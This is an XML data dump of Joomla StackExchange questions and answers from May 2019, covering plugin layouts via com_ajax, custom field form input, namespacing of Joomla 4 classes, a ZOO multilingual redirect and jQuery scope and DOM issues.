  <row Id="24567" PostTypeId="1" AcceptedAnswerId="24569" CreationDate="2019-05-05T14:58:48.153" Score="2" ViewCount="234" Body="&lt;p&gt;Another &lt;a href=&quot;https://joomla.stackexchange.com/questions/23899/how-to-make-my-editor-plugin-type-editors-xtd-survive-after-updates?noredirect=1&amp;amp;lq=1&quot;&gt;post&lt;/a&gt; partially answered my question, but I want to know if and how would be possible to make use of &lt;code&gt;addLayoutPath&lt;/code&gt; and &lt;code&gt;setLayout&lt;/code&gt; in my &lt;code&gt;editor-xtd&lt;/code&gt; plugin. Here's my plugin so far&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;&#xA;class PlgButtonVimeo extends JPlugin&#xA;{&#xA;&#xA;    protected $autoloadLanguage = true;&#xA;&#xA;    public function onDisplay($name)&#xA;    {&#xA;        $app = JFactory::getApplication();&#xA;        $input = $app-&amp;gt;input;&#xA;        $user  = JFactory::getUser();&#xA;&#xA;        // Can create in any category (component permission) or at least in one category&#xA;        $canCreateRecords = $user-&amp;gt;authorise('core.create', 'com_content')&#xA;            || count($user-&amp;gt;getAuthorisedCategories('com_content', 'core.create')) &amp;gt; 0;&#xA;&#xA;        // Instead of checking edit on all records, we can use **same** check as the form editing view&#xA;        $values = (array) $app-&amp;gt;getUserState('com_content.edit.article.id');&#xA;        $isEditingRecords = count($values);&#xA;&#xA;        // This ACL check is probably a double-check (form view already performed checks)&#xA;        $hasAccess = $canCreateRecords || $isEditingRecords;&#xA;        if (!$hasAccess)&#xA;        {&#xA;            return;&#xA;        }&#xA;&#xA;        // I DON'T KNOW HOW TO SET THIS CODE HERE&#xA;        // $this IS OUT OF CONTEXT&#xA;        // $root = $app-&amp;gt;isSite() ? '' : '../';&#xA;        // $this-&amp;gt;addLayoutPath($root.'plugins/editors-xtd/vimeo/tpl');&#xA;        // $this-&amp;gt;setLayout('vimeo');&#xA;&#xA;        JFactory::getDocument()-&amp;gt;addScriptOptions('xtd-vimeo', array('editor' =&amp;gt; $name));&#xA;        $link = 'index.php?option=com_content&amp;amp;amp;view=article&amp;amp;amp;layout=vimeo&amp;amp;amp;tmpl=component&amp;amp;amp;e_name=' . $name;&#xA;&#xA;        $button          = new JObject;&#xA;        $button-&amp;gt;modal   = true;&#xA;        $button-&amp;gt;class   = 'btn';&#xA;        $button-&amp;gt;link    = $link;&#xA;        $button-&amp;gt;text    = JText::_('PLG_EDITORSXTD_VIMEO_BUTTON');&#xA;        $button-&amp;gt;name    = 'palette';&#xA;        $button-&amp;gt;options = &quot;{handler: 'iframe', size: {x: 800, y: 500}}&quot;;&#xA;&#xA;        return $button;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The view at &lt;code&gt;vimeo.php&lt;/code&gt; is just a copy-paste of the pagebreak view in &lt;code&gt;administrator/components/con_content/views/article/tmpl/pagebreak.php&lt;/code&gt; for now, it will be edited accordingly:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;&#xA;JHtml::_('behavior.core');&#xA;JHtml::_('behavior.polyfill', array('event'), 'lt IE 9');&#xA;JHtml::_('script', 'com_content/admin-article-pagebreak.min.js', array('version' =&amp;gt; 'auto', 'relative' =&amp;gt; true));&#xA;&#xA;$document    = JFactory::getDocument();&#xA;$this-&amp;gt;eName = JFactory::getApplication()-&amp;gt;input-&amp;gt;getCmd('e_name', '');&#xA;$this-&amp;gt;eName = preg_replace('#[^A-Z0-9\-\_\[\]]#i', '', $this-&amp;gt;eName);&#xA;&#xA;$document-&amp;gt;setTitle(JText::_('COM_CONTENT_PAGEBREAK_DOC_TITLE'));&#xA;?&amp;gt;&#xA;&amp;lt;div class=&quot;container-popup&quot;&amp;gt;&#xA;    &amp;lt;form class=&quot;form-horizontal&quot;&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;            &amp;lt;label for=&quot;title&quot; class=&quot;control-label&quot;&amp;gt;&amp;lt;?php echo JText::_('COM_CONTENT_PAGEBREAK_TITLE'); ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;            &amp;lt;div class=&quot;controls&quot;&amp;gt;&amp;lt;input type=&quot;text&quot; id=&quot;title&quot; name=&quot;title&quot; /&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;            &amp;lt;label for=&quot;alias&quot; class=&quot;control-label&quot;&amp;gt;&amp;lt;?php echo JText::_('COM_CONTENT_PAGEBREAK_TOC'); ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;            &amp;lt;div class=&quot;controls&quot;&amp;gt;&amp;lt;input type=&quot;text&quot; id=&quot;alt&quot; name=&quot;alt&quot; /&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;button onclick=&quot;insertPagebreak('&amp;lt;?php echo $this-&amp;gt;eName; ?&amp;gt;');&quot; class=&quot;btn btn-success pull-right&quot;&amp;gt;&#xA;            &amp;lt;?php echo JText::_('COM_CONTENT_PAGEBREAK_INSERT_BUTTON'); ?&amp;gt;&#xA;        &amp;lt;/button&amp;gt;&#xA;&#xA;    &amp;lt;/form&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks for any suggestion.&lt;/p&gt;&#xA;" OwnerUserId="13509" LastEditorUserId="13509" LastEditDate="2019-05-05T16:02:56.273" LastActivityDate="2019-05-10T12:18:06.930" Title="Add a custom layout for editor-xtd popup" Tags="|editor|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="24569" PostTypeId="2" ParentId="24567" CreationDate="2019-05-06T08:28:50.670" Score="2" Body="&lt;p&gt;Using &lt;code&gt;com_ajax&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rename &lt;code&gt;PlgButtonVimeo&lt;/code&gt; class to &lt;code&gt;PlgEditorsXtdVimeo&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Point button link to &lt;code&gt;com_ajax&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$link = 'index.php?option=com_ajax&amp;amp;amp;plugin=vimeo&amp;amp;amp;group=editors-xtd&amp;amp;amp;format=html&amp;amp;amp;tmpl=component&amp;amp;amp;'&#xA;    . JSession::getFormToken() . '=1&amp;amp;amp;e_name=' . $name;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Add &lt;code&gt;onAjaxVimeo&lt;/code&gt; method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function onAjaxVimeo()&#xA;{&#xA;    // Renders plugins/editors-xtd/vimeo/tmpl/default.php.&#xA;    ob_start();&#xA;    include JPluginHelper::getLayoutPath($this-&amp;gt;_type, $this-&amp;gt;_name);&#xA;    return ob_get_clean();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="13509" LastEditDate="2019-05-10T12:18:06.930" LastActivityDate="2019-05-10T12:18:06.930" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="24570" PostTypeId="1" AcceptedAnswerId="24571" CreationDate="2019-05-06T08:53:28.007" Score="4" ViewCount="221" Body="&lt;p&gt;I'm currently working on a custom field, where I manually add a checkbox to a file upload field.&#xA;&lt;a href=&quot;https://github.com/JoomTools/plg_fields_jtfileupload/tree/feature/editContent&quot; rel=&quot;nofollow noreferrer&quot;&gt;PDF Upload field&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In onContentBeforeSave I want to read this checkbox to decide what to do with the file upload. I figured out to get the checkbox with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$jinput-&amp;gt;post-&amp;gt;getArray()['jform']['com_fields'][$fieldname.'_choverride']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works, but I thought it's a pretty ugly call. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is there a nicer, better way to do this?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&#xA;Other solutions&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solution 2&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$choveride_res = $postData-&amp;gt;getArray(array(&#xA;            'jform' =&amp;gt; array(&#xA;                'com_fields' =&amp;gt; array(&#xA;                    $fieldData[&quot;fieldName&quot;] . '_choverride' =&amp;gt; 'string'&#xA;                )&#xA;            )&#xA;        ));&#xA;$res = $choveride_res['jform']['com_fields'][$fieldData[&quot;fieldName&quot;] . '_choverride'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Solution 3&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$postData  = JFactory::getApplication()-&amp;gt;input-&amp;gt;post;&#xA;$jform     = new JRegistry($postData-&amp;gt;get('jform', null, 'array'));&#xA;$comFields = new JRegistry($jform-&amp;gt;get('com_fields', null, 'array'));&#xA;$choveride = $comFields-&amp;gt;get($fieldData[&quot;fieldName&quot;] . '_choverride', '', 'string');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13188" LastEditorUserId="13188" LastEditDate="2019-05-06T21:39:37.540" LastActivityDate="2019-05-06T23:07:56.480" Title="Get form input in custom field" Tags="|development|joomla-api|custom-field|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="24571" PostTypeId="2" ParentId="24570" CreationDate="2019-05-06T23:07:56.480" Score="1" Body="&lt;p&gt;I agree that your &quot;Solution 2&quot; is better because it implements a more readable syntax. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I might be a little too nitpicky because I have been spending time volunteering at CodeReview, but perhaps you could clarify your variable naming.  Your abbreviated naming is probably very clear to you, but it will make your code more readable for other developers if you avoid shortening your variable names. &lt;code&gt;$choveride_res&lt;/code&gt; = &quot;checkbox override result&quot; and &lt;code&gt;$res&lt;/code&gt; = &quot;result&quot; Mind you, I have seen far worse/ambiguous variable naming, I just think there is some benefit to be had from using a few more characters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$filteredPostData = $postData-&amp;gt;getArray(array(&#xA;            'jform' =&amp;gt; array(&#xA;                'com_fields' =&amp;gt; array(&#xA;                    $fieldData[&quot;fieldName&quot;] . '_choverride' =&amp;gt; 'string'&#xA;                )&#xA;            )&#xA;        ));&#xA;$checkboxValue = $filteredPostData['jform']['com_fields'][$fieldData[&quot;fieldName&quot;] . '_choverride'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ultimately, you've found your solution, I just wanted to give you confirmation and some food for thought.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2019-05-06T23:07:56.480" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24572" PostTypeId="1" AcceptedAnswerId="24573" CreationDate="2019-05-06T23:10:31.043" Score="3" ViewCount="1096" Body="&lt;p&gt;In &lt;a href=&quot;https://joomla.stackexchange.com/questions/24565/fatal-error-class-articleslatesthelper-not-found-in-joomla-4-module-while-try&quot;&gt;my last question&lt;/a&gt; I tried to modify mod_latest_articles module, and added myCustomFunction to ArticlesLatestHelper.php like this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * @package     Joomla.Site&#xA; * @subpackage  mod_articles_latest&#xA; *&#xA; * @copyright   Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved.&#xA; * @license     GNU General Public License version 2 or later; see LICENSE.txt&#xA; */&#xA;&#xA;namespace Joomla\Module\ArticlesLatest\Site\Helper;&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\Access\Access;&#xA;use Joomla\CMS\Component\ComponentHelper;&#xA;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\Router\Route;&#xA;use Joomla\Component\Content\Site\Model\ArticlesModel;&#xA;use Joomla\Registry\Registry;&#xA;use Joomla\Utilities\ArrayHelper;&#xA;&#xA;\JLoader::register('ContentHelperRoute', JPATH_SITE . '/components/com_content/helpers/route.php');&#xA;&#xA;/**&#xA; * Helper for mod_articles_latest&#xA; *&#xA; * @since  1.6&#xA; */&#xA;abstract class ArticlesLatestHelper&#xA;{&#xA;    /**&#xA;     * Retrieve a list of article&#xA;     *&#xA;     * @param   Registry       $params  The module parameters.&#xA;     * @param   ArticlesModel  $model   The model.&#xA;     *&#xA;     * @return  mixed&#xA;     *&#xA;     * @since   1.6&#xA;     */&#xA;    public static function getList(Registry $params, ArticlesModel $model)&#xA;    { // this is the built-in function ... }&#xA;&#xA;&#xA;    public static function myCustomFunction($created_date)&#xA;    {&#xA;        $date = new JDate($created_date);&#xA;        echo $date-&amp;gt;format('l, d F Y H:i', false, false);&#xA;    }   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm able to call the function from the default.php by using @Zollie's &lt;a href=&quot;https://joomla.stackexchange.com/questions/24565/fatal-error-class-articleslatesthelper-not-found-in-joomla-4-module-while-try&quot;&gt;solution&lt;/a&gt;, but now I got this error message when using JDate inside my function&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Error: Class 'Joomla\Module\ArticlesLatest\Site\Helper\JDate' not found: Class 'Joomla\Module\ArticlesLatest\Site\Helper\JDate' not found&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Can anybody tell me, what am I doing wrong in here now? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2295" LastEditorUserId="12352" LastEditDate="2019-05-06T23:16:04.490" LastActivityDate="2019-05-07T05:22:14.750" Title="Class not found in Joomla 4 when using JDate inside a function" Tags="|module|fatal-error|joomla-4.x|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24573" PostTypeId="2" ParentId="24572" CreationDate="2019-05-07T04:25:09.790" Score="4" Body="&lt;p&gt;I’m answering the question because it is obviously not a Joomla 4 core bug but a mistake in the developer’s coding and the problem would be the same in Joomla 3 too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you try to use a Joomla core class in your code you have to include that class on the top of the file otherwise Joomla does not know what it needs to use, so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;use Joomla\CMS\Date\Date;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can use in your code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$date = new Date($created_date);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These classes are not automatically available everywhere across Joomla unless you point to them. So include the classes you use on the top of your files.&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2019-05-07T05:22:14.750" LastActivityDate="2019-05-07T05:22:14.750" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="24574" PostTypeId="1" CreationDate="2019-05-07T11:39:34.703" Score="0" ViewCount="50" Body="&lt;p&gt;I am using the Zoo item component with ZOOlingual and the native Language Switcher. My problem is that when I am on an item detail from a catalog in english, switching in french redirect in french but to the catalog list instead of the detail of the item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The url of the detail in English is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://mysite/index.php?option=com_zoo&amp;amp;task=item&amp;amp;item_id=52&amp;amp;Itemid=125&amp;amp;lang=en&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and when I switch to French, the url is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://mysite/index.php?option=com_zoo&amp;amp;view=frontpage&amp;amp;layout=frontpage&amp;amp;Itemid=125&amp;amp;lang=fr&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it should be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://mysite/index.php?option=com_zoo&amp;amp;task=item&amp;amp;item_id=52&amp;amp;Itemid=125&amp;amp;lang=fr&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I notice that I have lost parameters:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;the id of the item, not the category.&lt;/li&gt;&#xA;&lt;li&gt;the task parameter&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Also &lt;code&gt;view&lt;/code&gt; and &lt;code&gt;layout&lt;/code&gt; are parameters which shouldn't appear.&lt;/p&gt;&#xA;" OwnerUserId="13529" LastEditorUserId="13529" LastEditDate="2019-05-08T09:26:43.353" LastActivityDate="2019-05-08T09:26:43.353" Title="Incorrect redirect using ZOO item with Joomla's native Language Switcher" Tags="|joomla-3.3.x|language|multilingual|zoo|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24575" PostTypeId="1" AcceptedAnswerId="24583" CreationDate="2019-05-07T16:34:06.030" Score="1" ViewCount="847" Body="&lt;p&gt;I have set a couple of global variables on page load as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function() {&#xA;    console.log(&quot;Onload PHP vis_options:&quot;+JSON.stringify(&amp;lt;?php echo &#xA;    json_encode($vis_options); ?&amp;gt;)+&quot;\r\n&quot;);&#xA;    var vis_options = &amp;lt;?php echo json_encode($vis_options); ?&amp;gt;;&#xA;    var home_options = &amp;lt;?php echo json_encode($home_options); ?&amp;gt;;&#xA;    console.log(&quot;Onchange PHP vis_options:&quot;+JSON.stringify(vis_options)+&quot;\r\n&quot;);&#xA;    var ind_pts_game = Number(jQuery(&quot;#ind_pts_game&quot;).val());&#xA;&#xA;    jQuery(document.body).on(&quot;change&quot;, '#bowl1v, #bowl2v, #bowl3v, #bowl4v, #bowl1h, #bowl2h, #bowl3h, #bowl4h', function(e) {&#xA;        console.log(&quot;ind_pts_game:&quot;+ind_pts_game+&quot;\r\n&quot;)&#xA;        console.log(&quot;Onchange PHP vis_options:&quot;+JSON.stringify(vis_options)+&quot;\r\n&quot;);&#xA;        console.log(&quot;Onchange PHP home_options:&quot;+JSON.stringify(home_options)+&quot;\r\n&quot;);&#xA;        return;&#xA;    });&#xA;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When changing one of the ids in the onchange function, the &lt;code&gt;ind_pts_game&lt;/code&gt; will display in the console.   However, the &lt;code&gt;vis_options&lt;/code&gt; &amp;amp; &lt;code&gt;hope_options&lt;/code&gt; report as &lt;code&gt;undefined&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any insight on how to pass these correctly would be appreciated.  They do display properly on page load, just not within the change function.&lt;/p&gt;&#xA;" OwnerUserId="3594" LastEditorUserId="12352" LastEditDate="2019-05-07T20:53:47.890" LastActivityDate="2019-05-10T09:16:17.750" Title="jQuery global array showing as undefined" Tags="|javascript|jquery|" AnswerCount="2" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="24576" PostTypeId="2" ParentId="24575" CreationDate="2019-05-07T19:52:21.443" Score="1" Body="&lt;p&gt;Try using window.vis_options and window.home_options. The declaration&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var vis_options&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;declares vis_options to be a member of the global object, which is window when you're running in a browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Globals&quot; in javascript can be a little tricky; visibility is handled differently than most other languages. Pretty much every variable is globally visible and can be globally referenced; you have to go to great lengths to prevent a variable from being able to be referenced that way. To keep that accessibility from causing issues, pretty much everything is also namespaced by default into a global object of some sort (the exact name of the object varies with execution context).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When declared by using var, the variables become members of that global object; when declared without using var they themselves also become global objects. In both cases they are visible to every other script in the system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means I would expect either adding &quot;window.&quot; to the variables when referencing them in the event handler to work when run in the browser, or I would expect the event handler as written to work, if you remove the &quot;var &quot; declaration from them. But not the particular syntax you chose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of the two, BTW, using &quot;window.&quot; would be cleaner, as it wouldn't litter the root-level global space with terms that might interfere with other javascript code. The drawback to that approach is the name of the global object changes depending upon the execution context (it's window in the browser, global in node, and something else when running in a worker).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The cleanest approach would be to declare your own Global object to contain that information, such as CWGame, and make those variables members of it. Then it would not interfere with other scripts, and the variables would always be globally accessible by the same reference, regardless of execution context.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Addy Osmani has a great piece on the &lt;a href=&quot;https://addyosmani.com/blog/essential-js-namespacing/&quot; rel=&quot;nofollow noreferrer&quot;&gt;basics of namespacing&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5394" LastActivityDate="2019-05-07T19:52:21.443" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24577" PostTypeId="1" CreationDate="2019-05-08T12:46:08.797" Score="0" ViewCount="185" Body="&lt;p&gt;I have a page that has the following uls on it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   &amp;lt;div id=&quot;team1&quot; class=&quot;team_name&quot;&amp;gt;Desperate Housewives                        &#xA;       &amp;lt;ul class=&quot;sortable ui-sortable&quot; id=&quot;sortable_1&quot; dataid-team=&quot;1&quot; dataid-drag=&quot;drag_team_1&quot; data-seasonid=&quot;7&quot;&amp;gt;&#xA;            &amp;lt;li id=&quot;team1_bowler53&quot; class=&quot;team_bowler drag_team_1 ui-sortable-handle&quot;&amp;gt;Celia B Flint &amp;lt;/li&amp;gt;&#xA;            &amp;lt;li id=&quot;team1_bowler54&quot; class=&quot;team_bowler drag_team_1 ui-sortable-handle&quot;&amp;gt;Gale E McDonald &amp;lt;/li&amp;gt;&#xA;            &amp;lt;li id=&quot;team1_bowler55&quot; class=&quot;team_bowler drag_team_1 ui-sortable-handle&quot;&amp;gt;Gerri  Orff &amp;lt;/li&amp;gt;&#xA;       &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This loads fine on start.  Note that the ids are dynamically generated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, now I want to add an &lt;code&gt;&amp;lt;li&amp;gt;&lt;/code&gt; to the div:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(note that selected is the team number, so it works out to team1 as above).  The insert_code, below, displays as proper html in console.log.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;insert_code in console.log appears as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li id=&quot;team1_bowler51&quot; class=&quot;team_bowler sub drag_team1 ui-sortable-handle&quot;&amp;gt;Cara M Wilkins&amp;lt;/li&amp;gt;&#xA;&#xA;var insert_code = '&amp;lt;li id=&quot;'+new_li+'&quot; class=&quot;'+classname+' '+drag_team+' ui-sortable-handle&quot;&amp;gt;'+bowler_name+'&amp;lt;/li&amp;gt;';&#xA;jQuery(&quot;#team&quot;+selected+&quot; ul&quot;).append(insert_code);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have also tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(&quot;#sortable_&quot;+selected).append(insert_code);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Each time that I do this, I get the following HTML in Google DevTools:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;sortable ui-sortable&quot; id=&quot;sortable_1&quot; dataid-team=&quot;1&quot; dataid-drag=&quot;drag_team_1&quot; data-seasonid=&quot;7&quot;&amp;gt;&amp;lt;/ul&amp;gt;&#xA;&amp;lt;li id=&quot;team1_bowler51&quot; class=&quot;team_bowler sub drag_team1 ui-sortable-handle&quot;&amp;gt;Cara M Wilkins&amp;lt;/li&amp;gt;&#xA;&amp;lt;li id=&quot;team1_bowler53&quot; class=&quot;team_bowler drag_team_1 ui-sortable-handle&quot;&amp;gt;Celia B Flint &amp;lt;/li&amp;gt;&#xA;&amp;lt;li id=&quot;team1_bowler54&quot; class=&quot;team_bowler drag_team_1 ui-sortable-handle&quot;&amp;gt;Gale E McDonald &amp;lt;/li&amp;gt;&#xA;&amp;lt;li id=&quot;team1_bowler55&quot; class=&quot;team_bowler drag_team_1 ui-sortable-handle&quot;&amp;gt;Gerri  Orff &amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that it has moved ALL of the li outside the ul.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the page, it is obvious that it is not appending properly as the new li displays at the top of the ul instead of the bottom.  Note that Cara Wilkins was the added li.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The full code has a list of all bowlers on the left side with drop down boxes with team names.   This fires in a change function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(&quot;.team_select&quot;).on(&quot;change&quot;, function() {&#xA;    var id = jQuery(this).attr('id');&#xA;    var bowlerID = id.replace(&quot;bowler_team&quot;,&quot;&quot;);&#xA;    var original = jQuery(this).attr(&quot;data-original-value&quot;);&#xA;    var selected = jQuery(this).find('option:selected').attr(&quot;value&quot;);&#xA;    var old_li = &quot;team&quot;+original+&quot;_bowler&quot;+bowlerID;&#xA;    var new_li = &quot;team&quot;+selected+&quot;_bowler&quot;+bowlerID;&#xA;    var recID_field = &quot;bowler&quot;+bowlerID+&quot;_RecID&quot;;&#xA;    var seasonID = jQuery(&quot;#seasonID&quot;).val();&#xA;    var starter = jQuery(&quot;#starter&quot;+bowlerID).is(&quot;:checked&quot;);&#xA;    var captain = jQuery(&quot;#captain&quot;+bowlerID).is(&quot;:checked&quot;);&#xA;    var book_avg = jQuery(&quot;#book_avg&quot;+bowlerID).val();&#xA;    var book_avg_gms = jQuery(&quot;#book_avg_gms&quot;+bowlerID).val();&#xA;    jQuery(&quot;#&quot;+old_li).remove();&#xA;    var classname = &quot;team_bowler&quot;;&#xA;    if(captain) {&#xA;        classname = classname+&quot; captain&quot;;&#xA;    }&#xA;    if(!starter) {&#xA;        classname = classname+&quot; sub&quot;;&#xA;    }&#xA;    var drag_team = &quot;drag_team&quot;+selected;&#xA;    var bowler_name = jQuery(&quot;#bowler&quot;+bowlerID).attr(&quot;data-name&quot;);&#xA;    bowler_name = bowler_name.trim();&#xA;console.log(&quot;UL has &quot;+jQuery(&quot;#team1 ul li&quot;).length+&quot; elements.\r\n&quot;);&#xA;    var insert_code = '&amp;lt;li id=&quot;'+new_li+'&quot; class=&quot;'+classname+' '+drag_team+' ui-sortable-handle&quot;&amp;gt;'+bowler_name+'&amp;lt;/li&amp;gt;';&#xA;    jQuery(&quot;#team&quot;+selected+&quot; ul&quot;).append(insert_code);&#xA;console.log(&quot;Insert Code:&quot;+insert_code+&quot;\r\n&quot;);&#xA;console.log(&quot;li position:&quot;+jQuery(&quot;#&quot;+new_li).index()+&quot;\r\n&quot;);      &#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is a list of the teams on the right.  Each team has a div with team name and a &lt;li&gt; that shows each member.   That list is then sortable (but dragging and dropping).  You can only sort in the same  (which all works).&lt;/p&gt;&#xA;" OwnerUserId="3594" LastEditorUserId="3594" LastEditDate="2019-05-08T13:54:28.727" LastActivityDate="2019-05-08T14:51:01.273" Title="Adding li to ul causes all li to end up outside the ul" Tags="|javascript|jquery|" AnswerCount="0" CommentCount="10" ContentLicense="CC BY-SA 4.0" />
  <row Id="24580" PostTypeId="2" ParentId="23714" CreationDate="2019-05-09T08:30:38.110" Score="1" Body="&lt;p&gt;&lt;code&gt;JRoute::_()&lt;/code&gt; doesn't find anything. It just turns non-SEF links into SEF. How that is done depends on your component's router. Unless your component implements modern routing (introduced in 3.7, I think), you do need to find the &lt;code&gt;Itemid&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Prior to modern routing, each Joomla core component used its own route helper class to lookup menu items, find the IDs and append them to non-SEF URLs. Modern routing includes this as part of its rule set, so writing this for each component is no longer needed.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-05-09T08:30:38.110" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
